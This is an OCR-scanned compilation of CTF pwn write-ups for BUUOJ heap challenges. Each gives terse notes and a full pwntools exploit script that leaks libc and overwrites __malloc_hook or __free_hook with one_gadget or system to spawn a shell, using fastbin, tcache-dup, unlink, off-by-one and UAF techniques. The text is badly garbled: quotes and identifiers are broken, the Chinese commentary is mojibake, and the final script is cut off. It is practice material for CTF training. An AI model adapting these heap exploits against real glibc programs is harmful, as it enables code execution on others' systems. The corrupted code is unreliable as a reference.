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from pwn import *
context.terminal = ['terminator',"-x,'sh’,'-c']

p = process('./vn_pwn_simpleHeap')
#p = remote(‘node3.buuoj.cn’,27393)
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

def Add(size,content):
p.sendline("1")
p.sendlineafter("size?" str(size))
p.sendafter('content:’,content)

def Edit(idx,content):
p.sendline("2")
p.sendlineafter("idx?" str(idx))
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p.sendafter("content:",content)

def Show(idx):
p.sendline("3")
p.sendlineafter("idx?" str(idx))

def Delete(idx):
p.sendline("4")
p.sendlineafter("idx?" str(idx))

Add(0x18,'A"*8)#chunkO
Add(0x68,'B"*8)#chunk 1
Add(0x68,'C"*8)#chunk2
Add(0x18,'D"*8)#chunk3

Edit(0,b'A"*0x18+b'\xe1')

Delete(1)

Add(0x68,b'B"*0x8)#chunk 1

Show(2)

main_arena_88 = u64(p.recv(6).ljust(0x8,b"\x00"))
libc_base = main_arena_88 - 88 - 0x3c4b20

malloc_hook = libc_base+libc.sym[' malloc_hook']
realloc_hook =libc_base + libc.sym['_libc_realloc']
one_gadget = libc_base + 0x4526a
log.success('libc_base:{}'.format(hex(libc_base)))
log.success('malloc_hook:{}".format(hex(malloc_hook)))
log.success('realloc_hook :{}'.format(hex(realloc_hook )))
log.success('one_gadget :{}'.format(hex(one_gadget )))

Add(0x68,'C"*8)#chunk2 chunk4
Delete(2)
Edit(4,p64(malloc_hook-0x23)+b"\n")

Add(0x68,'C'*8)#chunk2
Add(0x68,'E"8)#chunk5 realoc malloc_hook
Edit(5,b"\x00"“11+p64(one_gadget)+p64(realloc_hook +13)+b"\n’)

p.sendlineafter("choice:","1")
p.sendlineafter("size?",'100")
p.interactive()

roarctf_2019_easy pwn

off_by_oneis i
A_chunk
B_chunk
C_chunk
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from pwn import *
context.terminal = ['terminator','-x','sh",'-c'|

#p = process('./roarctf_2019_easy_pwn’)
p = remote('node3.buuoj.cn',29033)
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

#0-0x100

def calloc(size):
p.sendlineafter('choice: ','1")
p.sendlineafter('size:' str(size))

#off_by one 47 fsize-FAFfsize ] LIZEFHA —17
def edit(idx size,content):

p.sendlineafter('choice: ','2")
p.sendlineafter('index: ' str(idx))
p.sendlineafter('size: 'str(size))
p.recvuntil('content: )

p.send(content)

def free(idx):
p.sendlineafter('choice: ','3")
p.sendlineafter(‘index: ',str(idx))

def show(idx):
p.sendlineafter('choice: ','4")
p.sendlineafter(‘index: ',str(idx))

calloc(0x18)#chunkO
calloc(0x68)#chunk 1
calloc(0x68)#chunk 2
calloc(0x18)#chunk3

edit(0,0x18+10,b'A™0x18+b'\xe1")

free(1)

calloc(0x68)#chunk 1

show(2)

p.recvuntil('content: ')

libc_base = u64(p.recv(6).ljust(8,b"x00")) - 88 - 0x3c4b20



malloc_hook = libc_base+libc.sym[' malloc_hook'|
realloc = libc_base + libc.sym[' libc realloc']
log.success('libc_base:{}'.format(hex(libc_base)))
log.success('malloc_hook:{}".format(hex(malloc_hook)))
log.success('realloc:{}'.format(hex(realloc)))

#0x45216 0x4526a 0xf02a4 0xf1147

one_gadget = libc_base + 0x4526a #rsp+0x30==NULL
log.success('one_gadget:{}'.format(hex(one_gadget)))
calloc(0x68)#chunk4 chunk?2

free(4)

edit(2,8,p64(malloc_hook-0x23))

calloc(0x68)#chunk4

calloc(0x68)#malloc_hook 5

payload = b"\x00"(3+8)+p64(one_gadget)+p64(realloc)
edit(5,len(payload),payload)

calloc(0x10)
p.interactive()

ciscn_2019 n 3

UAF
free I R ¥ recode i 1 I 5 4 free i A~ ¥ recode HHIME B0, 777AEUAFIRIR

8% 16/ "Node
struct Node

{

void rec_int_print;
void rec_int_free;
int num;

}

struct Node

{

void rec_str_print;
void rec_str_free;
void str_ptr;

}

A DA¥srec_int_freeEiFErec_str free i ik st # ¥ Asystem, rec_int_printBi#rec_str_print® #4’sh’ 8% ‘bash’ B AT getshell
uﬂj\%:

1. fill#Node1, Node2

2. free(Node1), free(Node2)iXkf&tcache[0x10]->Node2->Node1

3. B K/ AHOX8K/IStringNode3RHELIFIOF U, StringNode3.str_ptrift &Node 1
4. 7 #%Nodel1Hirec_str printfllrec_str_free
5

. free(Node1)Bf m] getshell



from pwn import *

#context.log_level = 'debug’

#p = process('./ciscn_2019 _n_3’)

p = remote('node3.buuoj.cn',28167)

elf = ELF('./ciscn_2019_n_3')

libc = ELF('/home/abel/pwn/libc/u18/x86libc-2.27.s0")

def newnote(idx type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:

p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)

#free 3547 10

def free(idx):
p.sendlineafter('CNote >",'2")
p.sendlineafter('Index > ' str(idx))

def dump(idx):
p.sendlineafter('CNote >"'3")
p.sendlineafter('Index > ' str(idx))

newnote(0,2,'a"*10,0x88)

newnote(1,2,'a"10,0x38)

newnote(2,1,0x41)

free(1)

free(2)

#tcache[0x10]->2->1
newnote(3,2,b'sh\x00\x00"+p32(elf.plt['system’]),0xc)
#newnote(4,2,"aaaa",0x38)

free(1)
p.interactive()

[V&N2020 A 7 3¢ ]easyTHeap

free BRI, & ¥ HeapArrayEO0, T Lldouble FreefIUAF
A@\%:



1. new(0x50),delete(0),delete(0). double freef5Flheap_addr

2. EHnew(0x50)HH- & kfd Aheap_addr, heap_addriZfif i Rtcache_perthread_struct, BRI PAE FHcounts KF7, RaREA
tcache#Bi 7, B R JE#t & # Aunsorted bin. 3 %libc_base

3. K F A entriestr4t & 55 malloc_hook-0x13 (tcachetsét E#efa vl LB B AZ, BrLlZ&malloc_hook-0x1342&0x23)
4. rellock_hook#& i None_gadget,malloc_hookZ& #% Arelloc_hook+X



from pwn import *

#p = process("./vn_pwn_easyTHeap')

p = remote('node3.buuoj.cn’, 26949)

elf = ELF('./vn_pwn_easyTHeap')

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")

def new(size):
p.sendlineafter('choice: ', '1")
p.sendlineafter('size?', str(size))

def edit(index, content):
p.sendlineafter('choice: ', '2")
p.sendlineafter('idx?", str(index))
p.sendlineafter('content:', content)

def show(index):
p.sendlineafter('choice: ', '3")
p.sendlineafter('idx?", str(index))

def delete(index):
p.sendlineafter('choice: ', '4")
p.sendlineafter('idx?", str(index))

new(0x50)#0
delete(0)
delete(0)#double free
show(0)#UAF

heap_base = u64(p.recvuntil("\n',drop=True).ljust(8,b"\x00")) -0x250

log.success('heap_base:{} .format(hex(heap_base)))
new(0x50) #1

edit(1,p64(heap_base))

new(0x50) #2

new(0x50) #3 tcache_struct

edit(3, 'a' * 0x38)# 4

delete(3)## Aunsorted bin

show(3)

libc_base = u64(p.recvuntil("\n',drop=True).ljust(8,b"\x00")) -0x3ebc40 - 96
malloc_hook = libc_base + libc.sym[' malloc_hook']

realloc = libc_base + libc.sym['__libc_realloc']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("malloc_hook:{}".format(hex(malloc_hook)))
log.success("realloc:{}".format(hex(realloc)))

one = libc_base + 0x4f322

new(0x50)#4

edit(4,b'b"*0x48+p64(malloc_hook-0x13))#A-#0x30 L fptr 52¢ malloc_hook-0x13

new(0x20)# £ A"/) #70x30

edit(5, b"\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))#rellock _hook # Z *yone_gadget,malloc_hook & #z %7
new(0x10)

p.interactive()

ciscn_2019 final_3



https://blog.csdn.net/github_3678857 3/article/details/103599951

free I HR B F 540 B 0. /£ Edouble free

1. ELHE L 4 chunk,BiZdouble free fERMbLE, 5 —A-chunkffisizeBA0x421, freez JGchunk&7Eunsorted_bind, fd
Hlibc

2. free(0),free(1), tcache[0x20]->chunk1, itk [ yunsorted bintlJE], chunk1->fd=libc,Bikaddz J5 fElibc/Ee T chunk, iit5E
Tlibc

3. tcache dupfEE k'S, Kmalloc_hookZE % Aone_gadget
from pwn import *

#p = process("./ciscn_final_3')
p = remote('node3.buuoj.cn',29989)
libc = ELF('./libc.s0.6")

def add(idx,size,content):

p.sendlineafter('choice >''1")

p.sendlineafter(‘input the index' str(idx))
p.sendlineafter('input the size',str(size))
p.sendlineafter('now you can write something',content)
p.recvuntil('gift :")

return int(p.recvline()[2:]1,16)

1
X
X
(

def free(idx):
p.sendlineafter('choice >','2")
p.sendlineafter(‘input the index' str(idx))

heap = add(0,0x78,'a"8)#0
log.success("heap:{}".format(hex(heap)))

#1
#2
#3
#4
#5
#6

add(1,0x18,'b'
add(2,0x78,'c’
add(3,0x78,'d"
add(4,0x78,'c
add(5,0x78,'d"
add(6,0x78,'c’
add(7,0x78,'d")#7

add(8,0x78,'c')#8

add(9,0x78,'d")#9

add(10,0x78,'C')#10
add(11,0x78,'d")#11
add(12,0x28,'d")#12

—_— e = = —

#tcache dup

free(12)

free(12)

add(13,0x28,p64(heap-0x10))

add(14,0x28,p64(heap-0x10))# 4 A Zchunk 04k
add(15,0x28,p64(0)+p64(0x421))## #pre_size=0x0, size=0x421#120x400

free(0)#unsorted_bin->fd=libc
free(1)#tcache[0x20]->chunk1,
add(16,0x78,'e")#unsorted_bint7#)5, chunk1->fd#5/4 Ilibc
add(17,0x18,'")## Kadd 0x18/5, #libcH 4B T chunk

liha haca — AdA/1Q NVAQ 'V OR Nv2ah~AN


https://blog.csdn.net/github_36788573/article/details/103599951
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log.success("libc_base:{}".format(hex(libc_base)))

malloc_hook = libc_base+libc.sym[' malloc_hook']

one = libc_base+0x10a38c
log.success("malloc_hook:{}".format(hex(malloc_hook)))
log.success("one:{}".format(hex(one)))

#dup, EEMHE, Fmalloc_hook % *one_gadget
free(5)

free(5)

add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one))

p.sendlineafter('choice >''1")

p.sendlineafter('input the index str(22))
p.sendlineafter('input the size',str(0x78))
p.interactive()

hitcontraining_heapcreator
https://www.b1ndsec.cn/?p=375

off by one HF F
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https://www.anquanke.com/post/id/84752
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from pwn import *

context.terminal = ['terminator','-x','sh",'-c']

#p = process('./heapcreator’)

p = remote('node3.buuoj.cn',26772)

elf = ELF('./heapcreator’)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

def create(size,content='a'):
p.recvuntil("Your choice :')
p.sendline('1")
p.recvuntil('Size of Heap ')
p.sendline(str(size))
(
(

p.recvuntil('Content of heap:')
p.sendline(content)

def edit(idx,content):
p.recvuntil("Your choice ')
p.sendline('2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content of heap :")
p.send(content)

def show(idx):
p.recvuntil("Your choice ')
p.sendline('3")
p.recvuntil('Index )
p.sendline(str(idx))

def delete(idx):
p.recvuntil("Your choice ')
p.sendline('4")
p.recvuntil("Index :")
p.sendline(str(idx))

create(0x18,b'aaaaaaaa’)#0
create(0x10,'bbbbbbbb")#1
create(0x10,'ccccececc')#2

edit(0,b'/bin/sh\x00'+p64(0)*2+b"\x81")

delete(1)

payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)

show(1)

p.recvuntil('Content : ")

free = u64(p.recvuntil("\n")[:-1].ljust(8,b"\x00"))
libc_base = free - libc.sym['free’]

system = libc_base + libc.sym['system’]
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))

edit(1,p64(system))# 5 2free->system
delete(0)
p.interactive()



Octf_2017_babyheap

https://www.cnblogs.com/Rookle/p/12901747 .html
overlapping->fastbin attack (f&&tfd#&H_malloc_hook-0x23) ->#&#__ malloc_hook Aonegadget

from pwn import *

context.terminal = ['terminator','-x','sh','-c'|

#p = process("./Octf_2017_babyheap’)

p = remote('node3.buuoj.cn',25677)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

def create(size):
p.recvuntil('Command: ')
p.sendline('1")
p.recvuntil('Size: ')
p.sendline(str(size))

#size 7] LI R K size
def edit(idx,content):
p.recvuntil('Command: ')
p.sendline('2")
p.recvuntil('Index: )
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')

p.send(content)

def free(idx):
p.recvuntil('Command: )
p.sendline('3")

('Index: ")
p.sendline(str(idx))

p.recvuntil

def dump(idx):
p.recvuntil('Command: )
p.sendline('4")
p.recvuntil('lndex: ')
p.sendline(str(idx))

create(0x10)#0
create(0x10)#71 0x20
create(0x80)#2 0x90

#fastbin attack
create(0x30)#3
create(0x68)#4
create(0x10)#5

#78 gichunk 1 #Jsize

payload1 = p64(0)*3+p64(0x20+0x90+0x1)
edit(0,payload1)

free(1)#1

create(0xa0)#71


https://www.cnblogs.com/Rookle/p/12901747.html

# Mk Lchunk?2

payload2 = p64(0)“3+p64(0x91)
edit(1,payload2)

free(2)#2

dump(1)

p.recvuntil('Content: \n")

p.recv(32)

libc_base = u64(p.recv(8)) -0x3c4b78
#0x45216 0x4526a 0xf02a4 0xf1147
one = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook’]

success("libc_base:{}".format(hex(libc_base)))
success("malloc_hook:{}".format(hex(malloc_hook)))
success("one:{}".format(hex(one)))

free(4)

payload3 = p64(0)“7+p64(0x71)+p64(malloc_hook-0x23)
edit(3,payload3)

create(0x68)

create(0x68)

payload4 = b'\x00"*0x13+p64(one)

edit(4,payload4)

create(0x10)
p.interactive()

ciscn_2019 _es_1

showd 7 7E UAF
callk 7 #E double free

1. S showiUAF g libc
2. FHcall®$tcahceidup (AL&#HITHE, REBKnextitfefEnextibsrichunk) &k free_hook systemifi .
3. gt —Abin/sh, FER % getshell

TEIX B3\ NAA A from pwn import *

#p = process('./ciscn_2019 _es 1)

p = remote('node3.buuoj.cn',28587)

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")
def add(size,name,phone):

p.recvuntil('choice:')

p.sendline('1")

p.recvuntil("Please input the size of compary's name")
p.sendline(str(size))

p.recvuntil('please input name:')

p.send(name)

p.recvuntil('please input compary call:')
p.send(phone)

def show(idx):

p.recvuntil('choice:')

p.sendline('2")

p.recvuntil('Please input the index:")
p.sendline(str(idx))



def call(idx):

p.recvuntil('choice:')

p.sendline('3")

p.recvuntil('Please input the index:")
p.sendline(str(idx))

add(0x410,b'A™8,b'1'*8)#0
add(0x18,b'A'*8,b'1'*8)#1
add(0x18,b'A'*8,b'1'*8)#2

HHHHtleak libcHitt

call(0)

show(0)

p.recvuntil('name:\n")

libc_base = u64(p.recvuntil("\n')[:-1].ljust(8,b"\x00")) - 96 -0x3ebc40
# 0x4f2c5 0x4f322 0x10a38¢

#one = libc_base + 0x10a38¢c

#malloc_hook = libc_base + libc.sym[' _malloc_hook']
free_hook = libc_base+libc.sym[' _ free _hook']
system = libc_base+libc.sym['system’]
success('free_hook:{}'.format(hex(free_hook)))
success('system:{}'.format(hex(system)))
#itttcache dup £2{one _gadget &

#eall(1)

#eall(1)

#

#add(0x18,p64(malloc_hook-0x10),b'2"8)#3
#add(0x18,p64(0)*2+p64(one),b'\x00"*8)#4

#

#p.recvuntil(‘choice:’)

#p.sendline('1’)

#p.interactive()

#15Hfree_hook #system

call(1)

call(1)
add(0x18,p64(free_hook),b'2“8)#3
add(0x18,p64(system),b"\x00"*8)#4

add(0x20,'/bin/sh\x00',b"\x00"*8)#5
call(5)
p.interactive()

hitcontraining_bamboobox

BHAMEE, — N EMiEunsortbinitt Zlibc.
fastbinFlmalloc_hook. @it __libc_reallock i #rspik Flone gadgetf) ZE Rk

from pwn import *

context.terminal = ['terminator’,"-x,'sh’,'-c'|

p = process('./bamboobox’)

#elf = ELF("./bamboobox’)

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.s0’)
p = remote('node3.buuoj.cn',26227)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")
def chnwi\:



G Uiy

p.recvuntil("Your choice:')
p.sendline('1")

def add(size,content):
p.recvuntil("Your choice:')
p.sendline('2")
p.recvuntil('Please enter the length of item name:')
p.sendline(str(size))

p.recvuntil('Please enter the name of item:")
p.sendline(content)

def edit(idx size,content):

p.recvuntil("Your choice:")

p.sendline('3")

p.recvuntil('Please enter the index of item:')

p.sendline(str(idx))

p.recvuntil('Please enter the length of item name:')

p.sendline(str(size))

p.recvuntil('Please enter the new name of the item:")
(

p.sendline(content)

def free(idx):

p.recvuntil("Your choice:")

p.sendline('4")

p.recvuntil('Please enter the index of item:')
p.sendline(str(idx))

add(0x10,b'A"*0x8)#0
add(0x80,b'B'*0x8)#1
add(0x80,b'C*0x8)#2
add(0x10,b'D™0x8)#3

payload = b'A"*0x18+p64(0x90+0x90+1)
edit(0,len(payload),payload)

free(1)#1

add(0x80,b'E"*0x8)#1

show()

p.recvuntil('2 : ")

libc_base = u64(p.recv(6).ljust(8,b"x00"))-88-0x3c4b20
#777% =, fastbinHZ#| __malloc_hook

malloc_hook = libc_base + libc.sym[' malloc_hook']
#0x45216 0x4526a 0xf02a4 Oxf1147

#0x45226 0x4527a 0xf0364 0xf1207 24

one = libc_base + 0x4526a

libc_realloc_3push = libc_base+0x846C8
#libc_realloc_3push = libc_base+0x84718# 7 1
success('libc_base:{}'.format(hex(libc_base)))
success('malloc_hook:{}'.format(hex(malloc_hook)))
success('one:{}.format(hex(one)))
success('libc_realloc_3push:{}'.format(hex(libc_realloc_3push)))
add(0x10,b'D™0x8)#4

add(0x60,b'D"0x8)#5

add(0x10,b'D™0x8)#6

free(5)



payload2 = b"\x00"*0x18+p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload2),payload2)

add(0x60,'abcdabced')
add(0x60,b"\x00"*11+p64(one)+p64(libc_realloc_3push))
#add(0x60,b"\x00"*0x13+p64(one)) #7 T i i # &

p.recvuntil("Your choice:')

p.sendline('2")

p.recvuntil('Please enter the length of item name:')
p.sendline(str(0x10))

p.interactive()

https://www.cnblogs.com/luoleqi/p/12373298.html
i unlink k& Sitemlistii a4, X B fEgotR I H

from pwn import *

context.terminal = ['terminator','-x','sh",'-c'|

elf = ELF('./bamboobox)

#p = process('./bamboobox’)

#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.s0')

p = remote('node3.buuoj.cn',26227)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0')
def show():

p.recvuntil("Your choice:')

p.sendline('1")

def add(size,content):
p.recvuntil("Your choice:')
p.sendline('2")
p.recvuntil('Please enter the length of item name:')
p.sendline(str(size))

p.recvuntil('Please enter the name of item:')
p.sendline(content)

def edit(idx size,content):

p.recvuntil("Your choice:')

p.sendline('3")

p.recvuntil('Please enter the index of item:')

p.sendline(str(idx))

p.recvuntil('Please enter the length of item name:')

p.sendline(str(size))

p.recvuntil('Please enter the new name of the item:')
(

p.sendline(content)

def free(idx):

p.recvuntil("Your choice:')

p.sendline('4")

p.recvuntil('Please enter the index of item:')
p.sendline(str(idx))

atoi_got = elf. got['atoi’]
add(0x10,'0"8)#0
add(0x40,'A"8)#1


https://www.cnblogs.com/luoleqi/p/12373298.html

add(Uxsu, B8 )#Z
add(0x80,'C"*8)#3
ptr = 0x6020d8

fake_chunk = p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10)+b'a*0x20+p64(0x40)+p64(0x90)
edit(1,len(fake_chunk),fake_chunk)

free(2)

payload = p64(0x40)+p64(atoi_got)

edit(1,len(payload),payload)

show()

p.recvuntil('0 : ")

atoi = u64(p.recv(6).ljust(8,b"\x00"))

libc_base = atoi - libc.sym['atoi']

system = libc_base + libc.sym|['system’]

success('libc_base:{}' .format(hex(libc_base)))

success('atoi:{}'.format(hex(atoi)))
success('system:{}'.format(hex(system)))
edit(0,8,p64(system))

p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

p.interactive()

pwnable_hacknote

delete R FUH BLIRIA, fEdeletel), ¥H¥ptr{x]E0, HILUAF.

F)HFone_gadget# A L.

http://0gur1.cc/2018/03/08/pwnable-tw-hacknote/

BEAlinuxdt AT 2 22, KR, B K WEIEENIT. PrElH;shx00Zcontent. %48 %]


http://0gur1.cc/2018/03/08/pwnable-tw-hacknote/

from pwn import *
context.terminal = ['terminator','-x','sh",'-c'|

elf = ELF('./hacknote')

p = remote('node3.buuoj.cn',25571)

libc =ELF('/home/abel/pwn/libc/u16/x86libc-2.23.s0")
#p = process('./hacknote’)

#libc = ELF("/lib32/libc-2.23.s0')

def add(size,content):
p.recvuntil("Your choice :')
p.sendline('1")
p.recvuntil('Note size ')
p.sendline(str(size))
p.recvuntil('Content :")
p.sendline(content)

def free(idx):
p.recvuntil("Your choice ')
p.sendline('2")
p.recvuntil('Index ')
p.sendline(str(idx))

def show(idx):
p.recvuntil("Your choice ')
p.sendline('3")
p.recvuntil('Index )
p.sendline(str(idx))

add(0x10,'AAAA")#0

add(0x10,'BBBB")#1

show(0)

free(1)

free(0)

payload = p32(0x804862B)+p32(elf.got|'free'])
add(0x8,payload)#2

show(1)

free_addr = u32(p.recv(4))

libc_base = free_addr - libc.sym['free’]

#0x3a80c 0x3a80e 0x3a812 0x3a819 0x5f065 0x5f066 remote
#0x3a81c 0x3a81e 0x3a822 0x3a829 0x5f075 0x5f076 local
one = libc_base + 0x5f066

system = libc_base + libc.sym['system’]
success('libc_base:{}'.format(hex(libc_base)))
success('one:{}'.format(hex(one)))

success('free_addr:{}'. format(hex(free_addr)))
add(0x10,'CCCC")#3

free(2)

free(3)

payload2 = p32(system)+b';sh\x00'
#payload2 = p32(one)*2
add(0x8,payload2)#4

show(0)

p.interactive()



gyctf 2020 some_thing_exceting

deleteft A ¥ptrx] B0, &HUAF
F X ANUAF BT AR AT R bk 152
F NflagE &N, B bART DL H B2 ¥ flaghin

from pwn import *

context.terminal = ['terminator','-x','sh",'-c'|

#p = process("./gyctf_2020_some_thing_exceting')
p = remote('node3.buuoj.cn',28915)

flag = 0x6020A8

def add(size1,content1,size2 content2):
p.recvuntil('> Now please tell me what you want to do :')
p.sendline('1")
p.recvuntil("> ba's length :")
p.sendline(str(size1))
p.recvuntil('> ba : ')
p.sendline(content1)
p.recvuntil(">na's length : ")
p.sendline(str(size2))
p.recvuntil('>na : ')

(

p.sendline(content2)

def delete(idx):

p.recvuntil("> Now please tell me what you want to do :')
p.sendline('3")

p.recvuntil("> Banana ID : ')

p.sendline(str(idx))

def show(idx):

p.recvuntil("> Now please tell me what you want to do :')
p.sendline('4")

p.recvuntil("> Banana ID : > SCP project ID : ')
p.sendline(str(idx))

add(0x70,b'A™8,0x70,b'B"*8)

add(0x70,b'C'*8,0x70,b'D'*8)
delete(0)

delete(1)
add(0x10,p64(flag),0x70,b'E"*8)
show(0)

print(p.recv())

ciscn_2019 final_2

HREH, HAREET
https://www.cnblogs.com/luoleqi/p/12409143.html
HBeshow3iX, Hshow shorthf R G & E24NFH, showintihh & G447

—/~double free
T £ Ik free i itcahcebin, B ikfreelt it £ H I fE unsortedbin. 183378 Ztcache.nexti & f5 JLAL LI B 2 chunk f¥Isize X H IR
unsortedbin

from pwn import *


https://www.cnblogs.com/luoleqi/p/12409143.html

context.log_level = 'debug’

#p = process("./ciscn_final_2')

p = remote('node3.buuoj.cn',27981)

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")

def add(type,content):
p.recvuntil('>")
p.sendline('1")
p.recvuntil('>")
p.sendline(str(type))
p.recvuntil('your inode number:')
p.sendline(str(content))

def delete(type):
p.recvuntil(">')
p.sendline('2")
p.recvuntil(">')
p.sendline(str(type))

def show(show_type):
p.sendlineafter(‘which command?\n>", '3")
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil(\n', drop=True))

add(1,1)#0x30
delete(1)
add(2,2)#0x20
add(2,2)#0x20
add(2,2)#0x20
add(2,2)#0x20
delete(2)
add(1,1)
delete(2)

#7E ichunk 0 #9size=0x91 2 Afastbin
chunk0_size = show(2)-0xa0
add(2,chunk0_size)

add(2,chunk0_size)

add(2,0x91)

foriin range(7):
delete(1)
add(2,2)

delete(1)

addr = show(1)

libc_base = addr-96 - 0x3ebc40

_10_2_1_stdin__fileno = libc_base + libc.sym[' IO 2 1 stdin_']+0x70
success("addr:{}".format(hex(addr)))
success("libc_base:{}".format(hex(libc_base)))



success(”_1U_Z 1_stdin__Tileno:} .rormat(nex(_IU_2_1_stdin__tieno)))

add(1,_10_2 1 _stdin__fileno)
add(1,1)

delete(1)

add(2,2)

delete(1)

chunk0_fd = show(1) - 0x30
add(1,chunk0_fd)
add(1,chunk0_fd)

add(1,1)

add(1,666)
p.sendlineafter('which command?\n>", '4")
p.recvuntil('your message ')

p.interactive()

axb_2019_heap

banner %iﬁ%?%‘%iﬁ?ﬁ]%%'pﬁf DAt B libcFmaini Fdhhk (78 Fnote itk )
editki # 7 7Eoff by one. Hnotet FF7EFR M MR #idik, B LART PAAgiEunlink .
note[0].ptrit 6 M T bssE, A LMEMptrsL R E b5 .

B4__ free_hook Asystem. getshell

from pwn import *

context.terminal = ['terminator','-x','sh','-c'|
#context.log _level = 'debug’

#p = process('./axb_2019_heap’)

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.s0')

p= remote('node3.buuoj.cn',28757)

libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.s0")

def add(idx,size,content):
p.recvuntil('>>")
p.sendline('1")
p.recvuntil('Enter the index you want to create (0-10):")
p.sendline(str(idx))
p.recvuntil('Enter a size:')
p.sendline(str(size))
p.recvuntil('Enter the content:")
(

p.sendline(content)

def delete(idx):
p.recvuntil(>>")
p.sendline('2")
p.recvuntil('Enter an index.")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil(>>")
p.sendline('4")
p.recvuntil('Enter an index.")
p.sendline(str(idx))
p.recvuntil('Enter the content: ')
p.sendline(content)



#banner #%Z01LF 14 KT

#%3%p.%19%p

fmtpayload = '%3%$p.%19%p’

p.recvuntil('Enter your name: ")
p.sendline(fmtpayload)

p.recvuntil('Hello, ")

write = int(p.recvuntil('.' drop=True),16)-0x10
main = int(p.recvuntil(\n',drop=True),16)
libc_base =write - libc.sym['write']

elf_base = main - 0x116A

note_base = elf_base + 0x202060

key = elf_base+0x202040

free_hook = libc_base + libc.sym['__ free_hook’]
system = libc_base+libc.sym['system']
success("libc_base:{}".format(hex(libc_base)))
success("elf_base:{}".format(hex(elf_base)))
success("write:{}".format(hex(write)))
success("free_hook:{}".format(hex(free_hook)))
success("system:{}". format(hex(system)))
success("main:{}".format(hex(main)))
success("note_base:{}".format(hex(note_base)))
add(0,0x88,'a"8)

add(1,0x88,'vb"8)

add(2,0x90,'/bin/sh\x00")

#x/40x $rebase(0x202060)

#unlink

payload = p64(0)+p64(0x81)+p64(note_base-0x18)+p64(note_base-0x10)
payload += b'A"0x60+p64(0x80)+p64(0x90)

edit(0,payload)

#gdb.attach(p)

delete(1)

#1&2note[0].ptr=free_hook
payload2 = p64(0)*3 +p64(free_hook)+b'\x88'
edit(0,payload2)

edit(0,p64(system))
#gdb.attach(p)
delete(2)
p.interactive()

npuctf_2020_easyheap

editfF7Eoff by onel . 4B & & BIPIES FFgotR 2 ] ABUA . ¥ R KchunkfIsizefEBUN0x41, ERIERES. T —KHE
Ox38K/y,  Hi RBAS Budz il HEHL I HE £ A got X #E AT libeitt 58 FE B

from pwn import *

p = process('./npuctf_2020_easyheap')

#p = remote('node3.buuoj.cn',28603)

elf = ELF("./npuctf_2020_easyheap')

libc = ELF('/home/abel/pwn/libc/u18/x64libc-2.27.s0")

def add(type,content):

p.recvuntil("Your choice :')

p.sendline('1")

p.recvuntil('Size of Heap(0x10 or 0x20 only) : ')



if type == 1:
p.sendline('24")

else:

p.sendline('56")
p.recvuntil('Content:")
p.sendline(content)

def edit(idx content):
p.recvuntil("Your choice :')
p.sendline('2")
p.recvuntil('Index ')
p.sendline(str(idx))
(
(

p.recvuntil('Content: ')
p.sendline(content)

def show(idx):
p.recvuntil("Your choice ')
p.sendline('3")
p.recvuntil('Index )
p.sendline(str(idx))

def delete(idx):
p.recvuntil("Your choice ')
p.sendline('4")
p.recvuntil('lndex )
p.sendline(str(idx))

add(1,b'A"*8)#chunk0
add(1,b'B"*8)#chunk 1
edit(0,b'A™0x18+b"\x41")
delete(1)

payload = b'A™0x18+p64(0x21)+p64(0x38)+ p64(elf.got['atoi'])
add(2,payload)

show(1)

p.recvuntil('Content : ')

atoi = u64(p.recvuntil("\n',drop=True).ljust(8,b"\x00"))
libc_base = atoi - libc.sym|'atoi']

system = libc_base + libc.sym['system’]
success("libc_base:{}".format(hex(libc_base)))
success("atoi:{}".format(hex(atoi)))
success("system:{}".format(hex(system)))
edit(1,p64(system))
p.sendline('/bin/sh\x00")

p.interactive()

gyctf 2020 force



house of force. 55— K& |

XFtopchunk ¥ size B 5 A OXffffiff. 2 /5 Hib AL K REEE S T . AT USEIERMIENS .

EHE—NEENRR, S—HHRPIFNEIGEIRN, RASEHAmmapi#tiT 4E. 55Kk EIbek) 75, XE-EH <HE
bin_addrigh &3 47 libcith £

https://blog.csdn.net/weixin_44145820/article/details/105522043

https://www.1p0ch.cn/2020/04/12/GYCTF %E5%A4%8D %E7%8E %B0/

FAAE R B

1. malloc_hook#& #% Jysystem,fii A\ size ybinshitilik, 7] Llgeishell

2. malloc_hook. onegadgeti#1T

from pwn import *

context.terminal = ['terminator','-x','sh",'-c'|

#p = process('./gyctf_2020 force’)

